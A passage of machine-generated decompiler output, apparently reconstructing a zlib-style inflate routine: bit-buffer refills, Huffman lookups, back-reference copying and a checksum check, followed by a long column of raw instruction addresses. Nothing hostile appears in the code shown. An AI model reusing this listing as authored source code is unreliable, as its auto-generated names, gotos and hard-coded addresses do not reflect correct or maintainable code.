																	_t1018[0x12] = _t678 & 0xf;
																	 *_t1018 = 0x15;
																	goto L247;
																} else {
																	L245:
																	( *(_t1036 + 0x40))[6] = 0x41d338;
																	goto L294;
																}
															} else {
																L240:
																_t902 = _t678 >> 8;
																 *(_t1036 + 0x34) = _t902;
																 *(_t1036 + 0x20) = _t902 & 0x000000ff;
																 *(_t1036 + 0x2c) = _t678;
																_t701 =  *(_t1018[0x14] + ((((0x00000001 << (_t678 & 0x000000ff) +  *(_t1036 + 0x20)) - 0x00000001 & _t814) >>  *(_t1036 + 0x20)) + ( *(_t1036 + 0x14) >> 0x10)) * 4);
																 *(_t1036 + 0x14) = _t701;
																if((_t701 >> 0x00000008 & 0x000000ff) + ( *(_t1036 + 0x34) & 0x000000ff) <= _t1023) {
																	L243:
																	_t911 =  *(_t1036 + 0x2d) & 0x000000ff;
																	_t678 =  *(_t1036 + 0x14);
																	_t814 = _t814 >> _t911;
																	_t1023 = _t1023 - _t911;
																	goto L244;
																} else {
																	L241:
																	while(_t998 != 0) {
																		_t706 = ( *_t1029 & 0x000000ff) << _t1023;
																		_t913 =  *(_t1036 + 0x2c);
																		_t998 = _t998 - 1;
																		_t1023 = _t1023 + 8;
																		_t814 = _t814 + _t706;
																		_t707 = _t913 & 0x000000ff;
																		 *(_t1036 + 0x20) = _t707;
																		_t1029 =  &(_t1029[1]);
																		 *(_t1036 + 0x10) = _t998;
																		 *(_t1036 + 0x14) = 1;
																		if(( *(_t1018[0x14] + ((((0x00000001 << (_t913 & 0x000000ff) + _t707) - 0x00000001 & _t814) >>  *(_t1036 + 0x20)) + ( *(_t1036 + 0x2e) & 0x0000ffff)) * 4) >> 0x00000008 & 0x000000ff) +  *(_t1036 + 0x20) > _t1023) {
																			continue;
																		} else {
																			goto L243;
																		}
																		goto L321;
																	}
																	goto L303;
																}
															}
														} else {
															L236:
															L237:
															while(_t998 != 0) {
																_t719 = ( *_t1029 & 0x000000ff) << _t1023;
																_t998 = _t998 - 1;
																_t1023 = _t1023 + 8;
																_t814 = _t814 + _t719;
																_t1029 =  &(_t1029[1]);
																 *(_t1036 + 0x10) = _t998;
																_t678 =  *(_t1018[0x14] + ((0x00000001 << _t1018[0x16]) - 0x00000001 & _t814) * 4);
																 *(_t1036 + 0x14) = 1;
																if(0xad > _t1023) {
																	continue;
																} else {
																	goto L239;
																}
																goto L321;
															}
															goto L303;
														}
														goto L321;
													case 0x15:
														L247:
														_t681 = _t1018[0x12];
														if(_t681 == 0) {
															L252:
															if(_t1018[0x11] <= _t1018[0xb] -  *(_t1036 + 0x18) +  *(_t1036 + 0x28)) {
																L254:
																 *_t1018 = 0x16;
																goto L255;
															} else {
																L253:
																( *(_t1036 + 0x40))[6] = 0x41d338;
																goto L294;
															}
														} else {
															L248:
															if(_t1023 >= _t681) {
																L251:
																_t899 = _t1018[0x12];
																_t1018[0x11] = _t1018[0x11] + ((0x00000001 << _t899) - 0x00000001 & _t814);
																_t814 = _t814 >> _t899;
																_t1023 = _t1023 - _t899;
																goto L252;
															} else {
																L249:
																while(_t998 != 0) {
																	_t692 = ( *_t1029 & 0x000000ff) << _t1023;
																	_t998 = _t998 - 1;
																	_t1023 = _t1023 + 8;
																	_t1029 =  &(_t1029[1]);
																	_t814 = _t814 + _t692;
																	 *(_t1036 + 0x10) = _t998;
																	if(_t1023 < _t1018[0x12]) {
																		continue;
																	} else {
																		goto L251;
																	}
																	goto L321;
																}
																goto L303;
															}
														}
														goto L321;
													case 0x16:
														L255:
														if( *(_t1036 + 0x18) == 0) {
															goto L303;
														} else {
															L256:
															_t883 =  *(_t1036 + 0x28) -  *(_t1036 + 0x18);
															_t682 = _t1018[0x11];
															if(_t682 <= _t883) {
																L262:
																_t683 = _t1018[0x10];
																 *(_t1036 + 0x2c) =  *(_t1036 + 0x24) - _t682;
																 *(_t1036 + 0x34) = _t683;
																goto L263;
															} else {
																L257:
																_t685 = _t682 - _t883;
																_t892 = _t1018[0xc];
																 *(_t1036 + 0x14) = _t685;
																if(_t685 <= _t892) {
																	_t895 = _t1018[0xd] - _t685 + _t1018[0xc];
																	_t683 =  *(_t1036 + 0x14);
																} else {
																	_t683 = _t685 - _t892;
																	 *(_t1036 + 0x14) = _t683;
																	_t895 = _t1018[0xd] + _t1018[0xa] - _t683;
																}
																 *(_t1036 + 0x2c) = _t895;
																_t896 = _t1018[0x10];
																 *(_t1036 + 0x34) = _t896;
																if(_t683 > _t896) {
																	L261:
																	_t683 = _t896;
																	L263:
																	 *(_t1036 + 0x14) = _t683;
																}
															}
															L264:
															_t886 =  *(_t1036 + 0x18);
															if(_t683 > _t886) {
																_t683 = _t886;
																 *(_t1036 + 0x14) = _t683;
															}
															 *(_t1036 + 0x18) = _t886 - _t683;
															_t684 =  *(_t1036 + 0x24);
															_t1018[0x10] =  *(_t1036 + 0x34) - _t683;
															do {
																L267:
																 *(_t1036 + 0x2c) =  *(_t1036 + 0x2c) + 1;
																 *_t684 =  *( *(_t1036 + 0x2c));
																_t684 =  &(_t684[1]);
																_t534 = _t1036 + 0x14;
																 *_t534 =  *(_t1036 + 0x14) - 1;
															} while ( *_t534 != 0);
															 *(_t1036 + 0x24) = _t684;
															if(_t1018[0x10] == 0) {
																 *_t1018 = 0x12;
															}
															goto L295;
														}
														goto L321;
													case 0x17:
														L270:
														if( *(__esp + 0x18) == 0) {
															goto L303;
														} else {
															L271:
															__eax =  *(__esp + 0x24);
															__cl =  *(__edi + 0x40);
															 *__eax = __cl;
															__eax = __eax + 1;
															 *(__esp + 0x18) =  *(__esp + 0x18) - 1;
															 *(__esp + 0x24) = __eax;
															 *__edi = 0x12;
															goto L295;
														}
														goto L321;
													case 0x18:
														L272:
														if( *((intOrPtr*)(__edi + 8)) == 0) {
															L286:
															 *__edi = 0x19;
															goto L287;
														} else {
															L273:
															if(__esi >= 0x20) {
																L276:
																__eax =  *(__esp + 0x28);
																__eax =  *(__esp + 0x28) -  *(__esp + 0x18);
																__ecx =  *(__esp + 0x40);
																 *((intOrPtr*)( *(__esp + 0x40) + 0x14)) =  *((intOrPtr*)( *(__esp + 0x40) + 0x14)) + __eax;
																 *((intOrPtr*)(__edi + 0x1c)) =  *((intOrPtr*)(__edi + 0x1c)) + __eax;
																 *(__esp + 0x28) = __eax;
																if(__eax != 0) {
																	__ecx =  *(__esp + 0x24);
																	__edx =  *(__edi + 0x18);
																	_push(__eax);
																	_push(__ecx);
																	_push( *(__edi + 0x18));
																	if( *(__edi + 0x10) == 0) {
																		__eax = E004024A0();
																	} else {
																		__eax = E00403080();
																	}
																	__ecx =  *(__esp + 0x4c);
																	__edx =  *(__esp + 0x1c);
																	 *(__edi + 0x18) = __eax;
																	__esp = __esp + 0xc;
																	 *(__ecx + 0x30) = __eax;
																}
																__eax =  *(__esp + 0x18);
																 *(__esp + 0x28) =  *(__esp + 0x18);
																__eax = __ebx;
																if( *(__edi + 0x10) == 0) {
																	__eax = __eax & 0x0000ff00;
																	__ebx = __ebx << 0x10;
																	__eax = __eax + (__ebx << 0x10);
																	__ebx = __ebx >> 8;
																	__ecx = __ebx >> 0x00000008 & 0x0000ff00;
																	__eax = __eax << 8;
																	__eax = __eax + (__ebx >> 0x00000008 & 0x0000ff00);
																	__ebx = __ebx >> 0x18;
																	__eax = __eax + (__ebx >> 0x18);
																}
																if(__eax ==  *(__edi + 0x18)) {
																	L285:
																	__ebx = 0;
																	__esi = 0;
																	goto L286;
																} else {
																	L284:
																	__eax =  *(__esp + 0x40);
																	 *(__eax + 0x18) = 0x41d338;
																	goto L294;
																}
															} else {
																L274:
																while(__edx != 0) {
																	__eax =  *__ebp & 0x000000ff;
																	__ecx = __esi;
																	__eax = ( *__ebp & 0x000000ff) << __cl;
																	__edx = __edx - 1;
																	__esi = __esi + 8;
																	__ebp =  &(__ebp[1]);
																	__ebx = __ebx + __eax;
																	 *(__esp + 0x10) = __edx;
																	if(__esi < 0x20) {
																		continue;
																	} else {
																		goto L276;
																	}
																	goto L321;
																}
																goto L303;
															}
														}
														goto L321;
													case 0x19:
														L287:
														if( *((intOrPtr*)(__edi + 8)) == 0 ||  *(__edi + 0x10) == 0) {
															L300:
															 *__edi = 0x1a;
															goto L301;
														} else {
															L289:
															if(__esi >= 0x20) {
																L292:
																if(__ebx ==  *((intOrPtr*)(__edi + 0x1c))) {
																	L299:
																	__ebx = 0;
																	__esi = 0;
																	goto L300;
																} else {
																	goto L293;
																}
															} else {
																L290:
																while(__edx != 0) {
																	__eax =  *__ebp & 0x000000ff;
																	__ecx = __esi;
																	__eax = ( *__ebp & 0x000000ff) << __cl;
																	__edx = __edx - 1;
																	__esi = __esi + 8;
																	__ebp =  &(__ebp[1]);
																	__ebx = __ebx + __eax;
																	 *(__esp + 0x10) = __edx;
																	if(__esi < 0x20) {
																		continue;
																	} else {
																		goto L292;
																	}
																	goto L321;
																}
																goto L303;
															}
														}
														goto L321;
													case 0x1a:
														L301:
														 *(__esp + 0x30) = 1;
														goto L303;
													case 0x1b:
														L302:
														 *(__esp + 0x30) = 0xfffffffd;
														goto L303;
													case 0x1c:
														goto L308;
												}
											}
											L296:
											_t645 = 0xfffffffe;
											goto L297;
										}
									}
								} else {
									do {
										L169:
										_t771 =  *(_t1018[0x13] + ((0x00000001 << _t1018[0x15]) - 0x00000001 & _t814) * 4);
										 *(_t1036 + 0x14) = 1;
										if(0xad <= _t1023) {
											L172:
											if(_t771 >> 0x10 >= 0x10) {
												L178:
												_t961 =  *((intOrPtr*)(_t1036 + 0x16));
												if(_t961 != 0x10) {
													L185:
													_t962 = _t771 & 0x000000ff;
													 *(_t1036 + 0x2c) = _t962;
													if(_t961 != 0x11) {
														L191:
														if(_t1023 >= _t962 + 7) {
															L194:
															_t828 = _t814 >> _t962;
															 *(_t1036 + 0x14) = (_t828 & 0x0000007f) + 0xb;
															_t814 = _t828 >> 7;
															_t776 = 0xfffffff9;
															goto L195;
														} else {
															L192:
															while(_t998 != 0) {
																_t785 = ( *_t1029 & 0x000000ff) << _t1023;
																_t962 =  *(_t1036 + 0x2c);
																_t998 = _t998 - 1;
																_t1023 = _t1023 + 8;
																_t814 = _t814 + _t785;
																_t1029 =  &(_t1029[1]);
																 *(_t1036 + 0x10) = _t998;
																if(_t1023 < _t962 + 7) {
																	continue;
																} else {
																	goto L194;
																}
																goto L321;
															}
															goto L303;
														}
													} else {
														L186:
														if(_t1023 >= _t962 + 3) {
															L190:
															_t829 = _t814 >> _t962;
															 *(_t1036 + 0x14) = (_t829 & 0x00000007) + 3;
															_t814 = _t829 >> 3;
															_t776 = 0xfffffffd;
															L195:
															_t1023 = _t1023 + _t776 - _t962;
															_t778 =  *(_t1036 + 0x14);
															 *(_t1036 + 0x20) = 0;
															goto L196;
														} else {
															L187:
															L188:
															while(_t998 != 0) {
																_t792 = ( *_t1029 & 0x000000ff) << _t1023;
																_t962 =  *(_t1036 + 0x2c);
																_t998 = _t998 - 1;
																_t1023 = _t1023 + 8;
																_t814 = _t814 + _t792;
																_t1029 =  &(_t1029[1]);
																 *(_t1036 + 0x10) = _t998;
																if(_t1023 < _t962 + 3) {
																	continue;
																} else {
																	goto L190;
																}
																goto L321;
															}
															goto L303;
														}
													}
												} else {
													L179:
													_t968 = _t771 & 0x000000ff;
													 *(_t1036 + 0x2c) = _t968;
													if(_t1023 >= _t968 + 2) {
														L183:
														_t795 = _t1018[0x1a];
														_t814 = _t814 >> _t968;
														_t1023 = _t1023 - _t968;
														if(_t795 == 0) {
															goto L293;
														} else {
															L184:
															_t778 = (_t814 & 0x00000003) + 3;
															_t814 = _t814 >> 2;
															 *(_t1036 + 0x20) =  *(_t1018 + 0x6e + _t795 * 2) & 0x0000ffff;
															 *(_t1036 + 0x14) = _t778;
															_t1023 = _t1023 - 2;
															L196:
															if(_t1018[0x1a] + _t778 > _t1018[0x19] + _t1018[0x18]) {
																goto L26;
															} else {
																L197:
																if( *(_t1036 + 0x14) != 0) {
																	L198:
																	_t783 =  *(_t1036 + 0x20);
																	do {
																		L199:
																		 *(_t1036 + 0x14) =  *(_t1036 + 0x14) - 1;
																		 *(_t1018 + 0x70 + _t1018[0x1a] * 2) = _t783;
																		_t1018[0x1a] = _t1018[0x1a] + 1;
																	} while ( *(_t1036 + 0x14) != 0);
																}
																goto L200;
															}
														}
													} else {
														L180:
														L181:
														while(_t998 != 0) {
															_t799 = ( *_t1029 & 0x000000ff) << _t1023;
															_t968 =  *(_t1036 + 0x2c);
															_t998 = _t998 - 1;
															_t1023 = _t1023 + 8;
															_t814 = _t814 + _t799;
															_t1029 =  &(_t1029[1]);
															 *(_t1036 + 0x10) = _t998;
															if(_t1023 < _t968 + 2) {
																continue;
															} else {
																goto L183;
															}
															goto L321;
														}
														goto L303;
													}
												}
											} else {
												L173:
												if(_t1023 >= (_t771 >> 0x00000008 & 0x000000ff)) {
													L177:
													_t974 = _t771 & 0x000000ff;
													_t814 = _t814 >> _t974;
													_t1023 = _t1023 - _t974;
													 *(_t1018 + 0x70 + _t1018[0x1a] * 2) =  *((intOrPtr*)(_t1036 + 0x16));
													_t1018[0x1a] = _t1018[0x1a] + 1;
													goto L200;
												} else {
													L174:
													L175:
													while(_t998 != 0) {
														_t803 = ( *_t1029 & 0x000000ff) << _t1023;
														_t998 = _t998 - 1;
														_t1023 = _t1023 + 8;
														_t1029 =  &(_t1029[1]);
														_t814 = _t814 + _t803;
														_t771 =  *(_t1036 + 0x14);
														 *(_t1036 + 0x10) = _t998;
														if(_t1023 < (_t771 & 0x000000ff)) {
															continue;
														} else {
															goto L177;
														}
														goto L321;
													}
													goto L303;
												}
											}
										} else {
											L170:
											while(_t998 != 0) {
												_t805 = ( *_t1029 & 0x000000ff) << _t1023;
												_t998 = _t998 - 1;
												_t1023 = _t1023 + 8;
												_t814 = _t814 + _t805;
												_t1029 =  &(_t1029[1]);
												 *(_t1036 + 0x10) = _t998;
												_t771 =  *(_t1018[0x13] + ((0x00000001 << _t1018[0x15]) - 0x00000001 & _t814) * 4);
												 *(_t1036 + 0x14) = 1;
												if(0xad > _t1023) {
													continue;
												} else {
													goto L172;
												}
												goto L321;
											}
											goto L303;
										}
										goto L321;
										L200:
									} while (_t1018[0x1a] < _t1018[0x19] + _t1018[0x18]);
									goto L201;
								}
							}
						} else {
							L158:
							do {
								L159:
								if(_t1023 >= 3) {
									goto L162;
								} else {
									L160:
									while(_t989 != 0) {
										_t813 = ( *_t1029 & 0x000000ff) << _t1023;
										_t989 = _t989 - 1;
										_t1023 = _t1023 + 8;
										_t1029 =  &(_t1029[1]);
										_t814 = _t814 + _t813;
										 *(_t1036 + 0x10) = _t989;
										if(_t1023 < 3) {
											continue;
										} else {
											goto L162;
										}
										goto L321;
									}
									goto L303;
								}
								goto L321;
								L162:
								 *((short*)(_t1018 + 0x70 + ( *(0x41e468 + _t1018[0x1a] * 2) & 0x0000ffff) * 2)) = _t814 & 0x00000007;
								_t1018[0x1a] = _t1018[0x1a] + 1;
								_t814 = _t814 >> 3;
								_t1023 = _t1023 - 3;
							} while (_t1018[0x1a] < _t1018[0x17]);
							goto L163;
						}
					}
					goto L321;
				}
			}










































                                        0x00407c3f
                                        0x00407c3f
                                        0x00407c3f
                                        0x00407c3f
                                        0x00407c3f
                                        0x00407c3f
                                        0x00407c3f
                                        0x00407c42
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00407c44
                                        0x00407c4c
                                        0x00407c52
                                        0x00407c54
                                        0x00407c55
                                        0x00407c58
                                        0x00407c59
                                        0x00407c5b
                                        0x00407c62
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00407c62
                                        0x004086b9
                                        0x004086b9
                                        0x004086c1
                                        0x004086c8
                                        0x004086cb
                                        0x004086cd
                                        0x004086d4
                                        0x004086d7
                                        0x004086da
                                        0x004086ea
                                        0x004086f9
                                        0x00000000
                                        0x004086fb
                                        0x004086fb
                                        0x004086fb
                                        0x00408701
                                        0x0040870d
                                        0x0040870d
                                        0x0040870e
                                        0x0040870e
                                        0x0040870e
                                        0x00408716
                                        0x0040871d
                                        0x00408720
                                        0x00408723
                                        0x00408726
                                        0x0040872d
                                        0x00408737
                                        0x00408738
                                        0x00408753
                                        0x00408754
                                        0x00408755
                                        0x0040873a
                                        0x00408742
                                        0x00408743
                                        0x00408744
                                        0x00408744
                                        0x0040875a
                                        0x0040875d
                                        0x00408760
                                        0x00408760
                                        0x00408768
                                        0x00408780
                                        0x00408785
                                        0x0040878b
                                        0x00408790
                                        0x004087ab
                                        0x004087b6
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00408792
                                        0x00408792
                                        0x00408792
                                        0x00408798
                                        0x0040866b
                                        0x00408672
                                        0x0040879e
                                        0x0040879e
                                        0x004087aa
                                        0x004087aa
                                        0x00408798
                                        0x00408785
                                        0x00000000
                                        0x00407c64
                                        0x00407c69
                                        0x00407c74
                                        0x00407c77
                                        0x00407c82
                                        0x00407c86
                                        0x00407c89
                                        0x00407c93
                                        0x00407c96
                                        0x00407c99
                                        0x004075ab
                                        0x004075af
                                        0x00000000
                                        0x00407ca8
                                        0x00407ca8
                                        0x00407ca8
                                        0x00407caf
                                        0x00407cb5
                                        0x00407cbb
                                        0x00407d0b
                                        0x00407d13
                                        0x00407d20
                                        0x00407d2d
                                        0x00407d32
                                        0x00407d35
                                        0x00407d3a
                                        0x00407d3a
                                        0x00407d43
                                        0x00407d45
                                        0x00407d54
                                        0x00407d62
                                        0x00407d67
                                        0x00407d6b
                                        0x00407d6e
                                        0x00407d74
                                        0x0040864a
                                        0x0040864e
                                        0x00000000
                                        0x00407d7a
                                        0x00407d7a
                                        0x00407d7a
                                        0x00407d7d
                                        0x00407d83
                                        0x00407d8c
                                        0x00407fb5
                                        0x00407fb8
                                        0x00000000
                                        0x00407fbe
                                        0x00407fbe
                                        0x00407fbe
                                        0x00407fc7
                                        0x00407fd0
                                        0x00407fe2
                                        0x00407fe8
                                        0x00407fed
                                        0x00407ff0
                                        0x00407ff6
                                        0x0040800c
                                        0x00408012
                                        0x00408024
                                        0x00408035
                                        0x0040803a
                                        0x0040803e
                                        0x00408041
                                        0x00408047
                                        0x00408059
                                        0x00408059
                                        0x00000000
                                        0x00408049
                                        0x00408049
                                        0x0040804d
                                        0x00000000
                                        0x0040804d
                                        0x00407ff8
                                        0x00407ff8
                                        0x00407ffc
                                        0x00408000
                                        0x00408655
                                        0x00408655
                                        0x0040865b
                                        0x0040865b
                                        0x0040865b
                                        0x00408660
                                        0x00000000
                                        0x00000000
                                        0x00407420
                                        0x00407420
                                        0x00000000
                                        0x00407427
                                        0x0040742b
                                        0x00407438
                                        0x0040743b
                                        0x00407460
                                        0x00407464
                                        0x004074af
                                        0x004074b2
                                        0x004074bb
                                        0x004074bd
                                        0x004074bd
                                        0x004074c4
                                        0x004074c8
                                        0x00407562
                                        0x00000000
                                        0x004074e8
                                        0x004074e8
                                        0x004074f0
                                        0x00407506
                                        0x00407506
                                        0x0040750e
                                        0x00407511
                                        0x00407517
                                        0x00407529
                                        0x0040752b
                                        0x0040752d
                                        0x0040752f
                                        0x00407532
                                        0x0040753b
                                        0x0040754a
                                        0x0040754d
                                        0x00407550
                                        0x00407552
                                        0x00407555
                                        0x00407557
                                        0x00407519
                                        0x00407519
                                        0x00000000
                                        0x00407519
                                        0x004074f2
                                        0x004074f6
                                        0x004074fa
                                        0x00000000
                                        0x004074fa
                                        0x004074f0
                                        0x0040746e
                                        0x00407479
                                        0x00407482
                                        0x00407487
                                        0x00407491
                                        0x00407496
                                        0x0040749a
                                        0x0040749d
                                        0x0040749f
                                        0x004074a2
                                        0x004074a4
                                        0x004074a4
                                        0x00000000
                                        0x00407440
                                        0x00000000
                                        0x00407440
                                        0x0040744e
                                        0x00407450
                                        0x00407451
                                        0x00407454
                                        0x00407455
                                        0x00407457
                                        0x0040745e
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x0040745e
                                        0x00000000
                                        0x00407440
                                        0x0040742d
                                        0x0040742d
                                        0x00000000
                                        0x0040742d
                                        0x00000000
                                        0x00000000
                                        0x00407572
                                        0x00407575
                                        0x00407597
                                        0x00407597
                                        0x0040759d
                                        0x00000000
                                        0x004075a3
                                        0x004075a3
                                        0x004075a9
                                        0x004075bb
                                        0x004075bb
                                        0x004075c0
                                        0x004075c4
                                        0x004075c7
                                        0x004075ca
                                        0x004075ca
                                        0x004075d3
                                        0x004075d5
                                        0x004075d9
                                        0x004075de
                                        0x004075e2
                                        0x004075e6
                                        0x004075eb
                                        0x004075f0
                                        0x004075f7
                                        0x004075f7
                                        0x004075fa
                                        0x004075fc
                                        0x004075fe
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x004075a9
                                        0x00407577
                                        0x00000000
                                        0x00407577
                                        0x0040757f
                                        0x00407583
                                        0x00407585
                                        0x00407587
                                        0x00407588
                                        0x0040758b
                                        0x0040758c
                                        0x0040758e
                                        0x00407595
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00407595
                                        0x00000000
                                        0x00407577
                                        0x00000000
                                        0x00000000
                                        0x00407606
                                        0x00407609
                                        0x00407630
                                        0x00407630
                                        0x00407635
                                        0x00407637
                                        0x00407637
                                        0x00407641
                                        0x00407643
                                        0x00407647
                                        0x00407649
                                        0x0040764b
                                        0x0040764e
                                        0x00407651
                                        0x00407656
                                        0x0040765a
                                        0x0040765e
                                        0x00407662
                                        0x00407666
                                        0x0040766b
                                        0x00407670
                                        0x00407677
                                        0x00407677
                                        0x0040767a
                                        0x0040767c
                                        0x0040767e
                                        0x00000000
                                        0x0040760b
                                        0x0040760b
                                        0x00000000
                                        0x00407610
                                        0x00407618
                                        0x0040761c
                                        0x0040761e
                                        0x00407620
                                        0x00407621
                                        0x00407624
                                        0x00407625
                                        0x00407627
                                        0x0040762e
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x0040762e
                                        0x00000000
                                        0x00407610
                                        0x00000000
                                        0x00000000
                                        0x00407686
                                        0x00407689
                                        0x004076b0
                                        0x004076b0
                                        0x004076b5
                                        0x004076b9
                                        0x004076bf
                                        0x004076c2
                                        0x004076c5
                                        0x004076c7
                                        0x004076ca
                                        0x004076ca
                                        0x004076d4
                                        0x004076d6
                                        0x004076da
                                        0x004076df
                                        0x004076e3
                                        0x004076e7
                                        0x004076ec
                                        0x004076f1
                                        0x004076f8
                                        0x004076f8
                                        0x004076fb
                                        0x004076fd
                                        0x004076ff
                                        0x00000000
                                        0x0040768b
                                        0x0040768b
                                        0x00000000
                                        0x00407690
                                        0x00407698
                                        0x0040769c
                                        0x0040769e
                                        0x004076a0
                                        0x004076a1
                                        0x004076a4
                                        0x004076a5
                                        0x004076a7
                                        0x004076ae
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x004076ae
                                        0x00000000
                                        0x00407690
                                        0x00000000
                                        0x00000000
                                        0x00407705
                                        0x0040770c
                                        0x00407774
                                        0x00407774
                                        0x00407779
                                        0x0040777b
                                        0x0040777b
                                        0x00000000
                                        0x0040770e
                                        0x0040770e
                                        0x00407711
                                        0x00407733
                                        0x00407733
                                        0x00407736
                                        0x0040773b
                                        0x0040773d
                                        0x0040773d
                                        0x00407747
                                        0x00407749
                                        0x0040774d
                                        0x00407752
                                        0x00407756
                                        0x0040775a
                                        0x0040775f
                                        0x00407764
                                        0x0040776b
                                        0x0040776b
                                        0x0040776e
                                        0x00407770
                                        0x00407782
                                        0x00407782
                                        0x00000000
                                        0x00407713
                                        0x00000000
                                        0x00407713
                                        0x0040771b
                                        0x0040771f
                                        0x00407721
                                        0x00407723
                                        0x00407724
                                        0x00407727
                                        0x00407728
                                        0x0040772a
                                        0x00407731
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00407731
                                        0x00000000
                                        0x00407713
                                        0x00407711
                                        0x00000000
                                        0x00000000
                                        0x00407788
                                        0x0040778f
                                        0x00407833
                                        0x00407833
                                        0x0040783a
                                        0x00000000
                                        0x00407795
                                        0x00407795
                                        0x00407795
                                        0x00407798
                                        0x0040779e
                                        0x004077a0
                                        0x004077a2
                                        0x004077a2
                                        0x004077a8
                                        0x004077aa
                                        0x004077af
                                        0x004077b1
                                        0x004077b4
                                        0x004077ba
                                        0x004077bf
                                        0x004077c2
                                        0x004077c5
                                        0x004077c8
                                        0x004077cb
                                        0x004077d3
                                        0x004077d9
                                        0x004077d9
                                        0x004077db
                                        0x004077e0
                                        0x004077e4
                                        0x004077e8
                                        0x004077ed
                                        0x004077f1
                                        0x004077f5
                                        0x004077ba
                                        0x004077ff
                                        0x00407801
                                        0x00407805
                                        0x0040780b
                                        0x00407810
                                        0x00407814
                                        0x00407817
                                        0x0040781b
                                        0x0040781e
                                        0x00407820
                                        0x00407822
                                        0x00407825
                                        0x00407825
                                        0x0040782d
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x0040782d
                                        0x00000000
                                        0x00000000
                                        0x00407840
                                        0x00407847
                                        0x004078da
                                        0x004078da
                                        0x004078df
                                        0x004078e1
                                        0x004078e1
                                        0x00000000
                                        0x0040784d
                                        0x0040784d
                                        0x0040784f
                                        0x00000000
                                        0x00407855
                                        0x00407855
                                        0x00407855
                                        0x00407857
                                        0x00407857
                                        0x00407857
                                        0x0040785c
                                        0x00407860
                                        0x00407863
                                        0x00407869
                                        0x0040786b
                                        0x0040786e
                                        0x00407874
                                        0x00407876
                                        0x0040787c
                                        0x0040787e
                                        0x00407886
                                        0x00407889
                                        0x0040788c
                                        0x0040788c
                                        0x0040787c
                                        0x00407874
                                        0x00407895
                                        0x00000000
                                        0x00000000
                                        0x00407897
                                        0x00407897
                                        0x0040789d
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x0040789d
                                        0x0040789f
                                        0x004078a6
                                        0x004078a8
                                        0x004078ac
                                        0x004078b2
                                        0x004078b7
                                        0x004078be
                                        0x004078be
                                        0x004078c1
                                        0x004078c5
                                        0x004078c7
                                        0x004078ce
                                        0x004078d2
                                        0x00000000
                                        0x004078d8
                                        0x004078d8
                                        0x004078e8
                                        0x004078e8
                                        0x004078ef
                                        0x00000000
                                        0x004078ef
                                        0x004078d2
                                        0x0040784f
                                        0x00000000
                                        0x00000000
                                        0x004078f5
                                        0x004078fc
                                        0x00407993
                                        0x00407993
                                        0x00407998
                                        0x0040799a
                                        0x0040799a
                                        0x00000000
                                        0x00407902
                                        0x00407902
                                        0x00407904
                                        0x00000000
                                        0x0040790a
                                        0x0040790a
                                        0x0040790a
                                        0x00407910
                                        0x00407910
                                        0x00407910
                                        0x00407915
                                        0x00407919
                                        0x0040791c
                                        0x00407922
                                        0x00407924
                                        0x00407927
                                        0x0040792d
                                        0x0040792f
                                        0x00407935
                                        0x00407937
                                        0x0040793f
                                        0x00407942
                                        0x00407945
                                        0x00407945
                                        0x00407935
                                        0x0040792d
                                        0x0040794e
                                        0x00000000
                                        0x00000000
                                        0x00407950
                                        0x00407950
                                        0x00407956
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00407956
                                        0x00407958
                                        0x0040795f
                                        0x00407961
                                        0x00407965
                                        0x0040796b
                                        0x00407970
                                        0x00407977
                                        0x00407977
                                        0x0040797a
                                        0x0040797e
                                        0x00407980
                                        0x00407987
                                        0x0040798b
                                        0x00000000
                                        0x00407991
                                        0x00407991
                                        0x004079a1
                                        0x004079a1
                                        0x00000000
                                        0x004079a1
                                        0x0040798b
                                        0x00407904
                                        0x00000000
                                        0x00000000
                                        0x004079a7
                                        0x004079ae
                                        0x004079f1
                                        0x004079f1
                                        0x004079f6
                                        0x004079fb
                                        0x004079fe
                                        0x00407a01
                                        0x00407a04
                                        0x00407a07
                                        0x00407a07
                                        0x00407a14
                                        0x00407a19
                                        0x00407a1d
                                        0x00407a21
                                        0x00407a24
                                        0x00407a2a
                                        0x00000000
                                        0x004079b0
                                        0x004079b0
                                        0x004079b3
                                        0x004079d5
                                        0x004079d5
                                        0x004079db
                                        0x004079ed
                                        0x004079ed
                                        0x004079ef
                                        0x00000000
                                        0x004079dd
                                        0x004079dd
                                        0x004079dd
                                        0x004079e1
                                        0x00000000
                                        0x004079e1
                                        0x00000000
                                        0x004079b5
                                        0x00000000
                                        0x004079b5
                                        0x004079bd
                                        0x004079c1
                                        0x004079c3
                                        0x004079c5
                                        0x004079c6
                                        0x004079c9
                                        0x004079ca
                                        0x004079cc
                                        0x004079d3
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x004079d3
                                        0x00000000
                                        0x004079b5
                                        0x004079b3
                                        0x00000000
                                        0x00000000
                                        0x00407a35
                                        0x00407a38
                                        0x00407a60
                                        0x00407a62
                                        0x00407a6a
                                        0x00407a6d
                                        0x00407a71
                                        0x00407a74
                                        0x00407a77
                                        0x00407a7c
                                        0x00407a81
                                        0x00407a84
                                        0x00407a88
                                        0x00407a8b
                                        0x00407a8e
                                        0x00407a90
                                        0x00407a92
                                        0x00000000
                                        0x00407a40
                                        0x00000000
                                        0x00000000
                                        0x00407a40
                                        0x00407a48
                                        0x00407a4c
                                        0x00407a4e
                                        0x00407a50
                                        0x00407a51
                                        0x00407a54
                                        0x00407a55
                                        0x00407a57
                                        0x00407a5e
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00407a5e
                                        0x00000000
                                        0x00407a40
                                        0x00000000
                                        0x00000000
                                        0x00407a98
                                        0x00407a9c
                                        0x00408673
                                        0x00408673
                                        0x00408677
